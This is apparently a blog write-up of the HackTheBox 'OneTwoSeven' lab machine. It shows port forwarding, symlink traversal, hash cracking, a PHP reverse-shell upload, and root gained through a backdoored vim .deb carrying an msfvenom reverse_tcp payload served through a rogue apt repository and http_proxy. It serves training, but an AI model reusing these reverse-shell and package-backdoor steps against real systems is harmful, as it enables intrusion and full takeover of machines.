CTF – HTB – OneTwoSeven

To keep fresh with cybersecurity trends, I like to solve challenges. This box is from the HackTheBox.eu, a website dedicated to train cybersecurity professionnals.

We start with a basic nmap search with -sC for standard scripts and -sV for service version detection.

root@kali:—/Desktop/htb/OneTwoSeven# nmap -sC -o TCP_scan 10.10.10.133
Starting Nmap 7.78 ( https://nmap.org ) at 2019-09-05 11:55 EDT Nmap scan report for 10.10.10.133
Host is up (0.024s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
|  ssh-hostkey: 1 2848 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
|  256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_ 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open http
|_http-title: Page moved.

Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds

The scan reveals port 22 and 80. By visiting the website we get redirected to /index.php.

Webpage

In the signup.php page, we obtain credentials for an sftp server. We put this aside while we continue to explore the website. We note by exploring the source of the /index.php page that the admin link in the main menu is disabled, however the html href parameter is set to http://onetwoseven.htb:60080/. We add onetwoseven.htb to our /etc/hosts so we can access it later if we need. Also, a comment states :

<!-- Only enable link if access from trusted networks admin/20190212 -->
<!-- Added localhost admin/20190214 -->

Continuing our exploration phase, we try to enumerate all files and folders hosted on the web server with dirbuster, however we obtain no results since all our request are getting blocked. A hint on the page tells us that our SYN packets are dropped if the error count for an IP address is high.

[...]
INFO: Retrying request
Sep 05, 2019 12:12:21 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: I/O exception (java.net.ConnectException) caught when processing request: Connection refused (Connection refused)
Sep 05, 2019 12:12:21 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: Retrying request
[...]

The credentials for the secure ftp are pre-generated. We also note that by changing our IP address and regenerating the page we obtain new credentials. After we login to the service, we found only the index.html which only renders to an empty page with a brick wall image.

root@kali:—/Desktop/htb/OneTwoSeven# sftp ots-jNjdlMTk@10.10.10.133
The authenticity of host '10.10.10.133 (10.10.10.133)' can't be established.
ECDSA key fingerprint is SHA256:+1UmP2SWWfgjoiyECyN2pRL1BIELdHrx6lt8mCwOoLO.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.133' (ECDSA) to the list of known hosts.
ots-jNjdlMTk@10.10.10.133's password:
Connected to ots-jNjdlMTk@10.10.10.133.
sftp> dir
public_html
sftp> cd ./public_html/
sftp> dir 
index.html
sftp>

Since the server runs php, we try to upload a php reverse shell : put phpshell.php

By navigating to /ots-jNjdlMT/phpshell.php we could’nt get a reverse shell on our listener since it escapes all php commands. Since we can only display static pages on that domain, we have to find another attack vector.

We can use the hint given in the comments above which basicly tells us that only trusted a local connection could connect to 60080 port. A quick scan to obtain information about this port returns nothing interesting.

root@kali:—/Desktop/htb/OneTwoSeven# nmap -p 60080 10.10.10.133
Starting Nmap 7.76 ( https://nmap.org ) at 2019-09-05 13:36 EDT
Nmap scan report for onetwoseven.htb (10.10.10.133)
Host is up (6.621s latency).
PORT STATE SERVICE
60080/tcp filtered unknown
Nmap done: 1 IP address (1 host u.) scanned in 1.61 seconds

A simple solution is to use a local port forward using the sftp credentials. From ssh man page :

Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side. This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and a connection is made to host port hostport from the remote machine.

The -L is for the local port forwarding and -N is simply to not execute commands, we will use this tunnel to get access to the 60080 port :ssh -N -L 60080:127.0.0.1:60080 ots-jNjdlMTk@10.10.10.133

We can then connect to our local machine on port 60080 which is forwarded from the box. We obtain a login page for “administration backend”.

Authentication page

Since we have no login credentials yet, we can enumerate some more on the box. Back to the sftp service, we can create a symlink to a directory outside the default folder and traverse directories. Here we create a symlink with ln -s / link to the / folder and name it “link”. By navigating to http://onetwoseven.htb/~ots-jNjdlMTk/link we can list directories.

Directory listing

The only folders we have access are /var/www/html and /var/www/html-admin, were we find a swap file for the administrator backend page called .login.php.swp. We find the form used in the administrator page as well as the hashed password in sha256. We can easily crack it with john the ripper or hashcat.

[...]
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8')
[...]
root@kali:—/Desktop/htb/OneTwoSeven# john --format=Raw-SHA256 ots-admin-pass --wordlist=fusr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Homesweethomel (?)
lg 0:00:00:03 DONE (2019-09-05 14:45) 8.3225g/s 3593Kp/s 3593Kc/s 3593KC/s IloveBrandiLynn..Galgenwaard
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

After we login we find a module to upload “plugins” as well as links to php files that outputs results from system operations. There are also links to download those scripts. An interesting note from ots-sysupdate.php :

[...]
# echo shell_exec("/usr/bin/sudo apt-get update && /usr/bin/sudo apt-get upgrade");
# 20190214/wde
# Still waiting for outbound proxy clearance for update downloads. Security is a pain!

The “Plugin Upload. Admins Only!” form has its submit button deactivated. We will simply use the inspector to edit the button tags by removing the disabled=”disabled” attribute. When trying to upload the php reverse shell script, the form action points to /addon-upload.php which does not exist. The “OTS Addon Manager” plugin already present on the page gives us a good hint by telling us basicly were we point the form action to upload our plugin.

Administration backend plugins
[...]
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
if(isset($_FILES['addon'])){
$errors= array();
$file_name = basename($_FILES['addon']['name']);
$file_size =$_FILES['addon']['size'];
$file_tmp =$_FILES['addon']['tmp_name'];

if($file_size > 20000){
$errors[]='Module too big for addon manager. Please upload manually.';
}

if(empty($errors)==true) {
move_uploaded_file($file_tmp,$file_name);
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "File uploaded successfull.y";
} else {
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "Error uploading the file: ";
print_r($errors);
}
[...]

We then send a POST request with the form parameters to addon-download.php?random-param=/addon-upload.php/ to upload our reverse shell (since we need to have “addon-upload.php” as a string in our request uri). We can then open a listener and access the url where our shell was uploaded (http://127.0.0.1:60080/menu.php?addon=addons/phpshell.php) :

root@kali:—/Desktop/htb/OneTwaSeven# nc -lvp 8888
listening on [any] 8888 ...
connect to [10.10.15.64] from onetwoseven.htb [18.18.18.133] 41384
bash: cannot set terminal process group (1589): Inappropriate ioctl for device
bash: no job control in this shell
www-admin-data@onetwoseven:/var/www/html-admin$ ls
ls
addons
carousel.css
dist
login.php
logout.php
menu.php
www-admin-data@onetwoseven:/var/www/html-admin$ whoami
whoami
www-admin-data
www-admin-data@onetwoseven:/var/www/html-admin$

By running sudo -l we obtain the list of commands that could be running as root in our user.

www-admin-data@onetwoseven:/home$ sudo -l
sudo -l
Matching Defaults entries for www-admin-data on onetwoseven:
env reset, env keep+="ftp proxy http proxy https proxy no proxy",
mail_badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-admin-data may run the following commands on onetwoseven:

(ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade

We understand from that if we can backdoor a package and use the http_proxy environment variable to trick our package manager to fetch our backdoored package we can get it to run a shell as root. We can look at the package list using :

apt list --installed

ucf/stable,now 3.8836 all [installed]
udev/stable,now 1:3.2.2+devuan2.11 amd64 [installed]
util-linux/stable,stable-security,now 2.29.2-1+devuan2.1 amd64 [installed]
util-linux-locales/stable,now 2.29.2-1+devuan2.1 all [installed,automatic]
vim/stable,now 2:8.0.0197-4+deb9u1 amd64 [installed,upgradable to: 2:8.0.0197-4+deb9u3]
vim-common/stable,now 2:8.0.0197-4+deb9u1 all [installed,upgradable to: 2:8.0.0197-4+deb9u3]
vim-runtime/stable,now 2:8.0.0197-4+deb9u1 all [installed,upgradable to: 2:8.0.0197-4+deb9u3]
vim-tiny/stable,now 2:8.0.0197-4+deb9u1 amd64 [installed,upgradable to: 2:8.0.0197-4+deb9u3]
wamerican/stable,now 7.1-1 all [installed]
wget/stable,now 1.18-5+deb9u2 amd64 [installed,upgradable to: 1.18-5+deb9u3]
whiptail/stable,now 8.52.19-1+bl amd64 [installed]
whois/stable,now 5.2.17—deb9ul amd64 [installed,automatic]
xauth/stable,now 1:1.8.9-1+b2 amd64 [installed,automatic]
xdg-user-dirs/stable,now 8.15-2+bl amd64 [installed,automatic]
xkb-data/stable,now 2.19-1+deb9ul all [installed,automatic]
xml-core/stable,now 8.17 all [installed,automatic]

We choose to backdoor vim, the text editor. We can directly download it from the debian repository and depackage it. We prepare a folder and the metada needed in our backdoored package.

root@kali:-/Desktoo/htb/OneTwoSeven/tmo/evil# ls -la
total 1320
drwxr-xr-x 2 root root 4096 Sep 6 09:50 .
drwxr-xr-x 3 root root 4096 Sep 6 09:49 ..
-rw-r--r-- 1 root root 1342240 Sep 6 09:47 vim_8.1.0875-5_i386.deb
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# dpkg -x vim 8.1.0875-5 1386.deb work
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# mkdir work/DEBIAN
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# ls -la
total 1324
drwxr-xr-x 3 root root 4096 Sep 6 09:50 .
drwxr-xr-x 3 root root 4096 Sep 6 09:49 ..
-rw-r--r-- 1 root root 1342240 Sep 6 09:47 vim_8.1.0875-5_i386.deb
drwxr-xr-x 4 root root 4096 Sep 6 09:51 work
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# ls -la ./work/
total 16
drwxr-xr-x 4 root root 4096 Sep 6 09:51 .
drwxr-xr-x 3 root root 4096 Sep 6 09:50 ..
drwxr-xr-x 2 root root 4096 Sep 6 09:51 DEBIAN
drwxr-xr-x 4 root root 4096 Jun 15 12:41 usr
root@kali:-/Desktop/htb/OneTwoSevennmp/evil#
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil/work/DEBIAN# nano control
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil/work/DEBIAN# cat control
Package: vim
Version: 2.81
Section: Text editor
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text editor
fopwergkwpogkwrfvelrfery
grvhtrhrtvhtrvhtrhrthrtvhtrhtr
bvrthtrvhtrvhrt
hybytrbyrtbnrthvhvth
trvhrbvtbhtyvhtyvhjthy

We also create a post-installation script that will simply make the application executable and start it. Note that it is important also to make that script executable before packaging it.

#!/bin/sh
sudo chmod 2755 /usr/bin/vim && /usr/bin/vim

We create our payload that is staged meterpreter shell. That is when we get back our connections, the executed malicious code will download additionnal modules to get a full shell. We then package all these files in deb file and put it in our /var/www/ folder to finally start apache and get our server ready. We then open metasploit to use multi/handler that will get us our shell.

root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil/work# msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=18.18.14.154 LPORT=9999 -b u\x88N -f elf -o ./usr /bin/vim
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 158 (iteration=8)
x86/shikata_ga_nai chosen with final size 158
Payload size: 158 bytes
Final size of elf file: 234 bytes
Saved as: ./usr/bin/vim
dpkg-deb --build ./evil
mv evil.deb vim.deb
mv vim.deb /var/www/vim.deb
service apache2 start
msf5 > use exploit/multi/handler
msf5 exploit(mutti/handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.14.154
LHOST => 18.18.14.154
msf5 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.154:9999

Now that we are ready to receive a connection, we need to get that package fetched by our victim. We will use reprepro to run a repository manager in our own server then configure it.

apt-get install reprepro
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# mkdir ./apt
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# mkdir ./apt/conf
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# mkdir ./apt/incoming
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# nano ./apt/conf/distributions
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# cat ./apt/conf/distributions
Origin: Fake name
Label: Fake label
Suite: stable
Codename: bobo
Version: 3.9
Architectures: i386 all source
Components: main non-free contrib
Description: Your fake description
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil#
root@kali:—/Desktop/htb/OneTwaSeven/tmp/evili # reprepro -Vb . includedeb bobo ../vim.deb
Created directory "./db"
../vim.deb: component guessed as 'main'
Created directory "./pool"
Created directory "./pool/main"
Created directory "./pool/main/v"
Created directory "./pool/main/v/vim"
Exporting indices...
Created directory "./dists"
Created directory "./dists/bobo"
Created directory "./dists/bobo/main"
Created directory "./dists/bobo/main/binary-amd64"
Created directory "./dists/bobo/non-free"
Created directory "./dists/bobo/non-free/binary-amd64"
Created directory "./dists/bobo/contrib"
Created directory "./dists/bobo/contrib/binary-amd64u"

Our package is now in our own repository. In order to fetch it, we should remember the hint given initially, we simply set the environment variable http_proxy to our own address.

www-admin-data@onetwoseven:/var/www/html-admin$ export http_proxy=http://10.10.14.154:80/

After trying to fetch the packages, we see that the domains packages.onetwoseven.htb does not exist. Since we have a proxy pointing to our own machine, we can route the connection with /etc/hosts by editing the first line.

127.0.0.1 packages.onetwoseven.htb localhost

After updating and upgrading the packages on our victim machine, we get root!

To summarize, we first started with a local port forward to the victim using the sftp credentials, since sftp uses an ssh tunnel to transfer files. Then we traverse directories in the sftp with a symlink and find credentials for the backend of the website. We exploit the website with a simple php command injection to get our initial foothold into the machine. To own the root user, we host our own repository with reprepro and upload a backdoored vim package. After the victim upgrade its packages using root privileges, it gets to execute our script and we get our root shell.

Thanks for reading!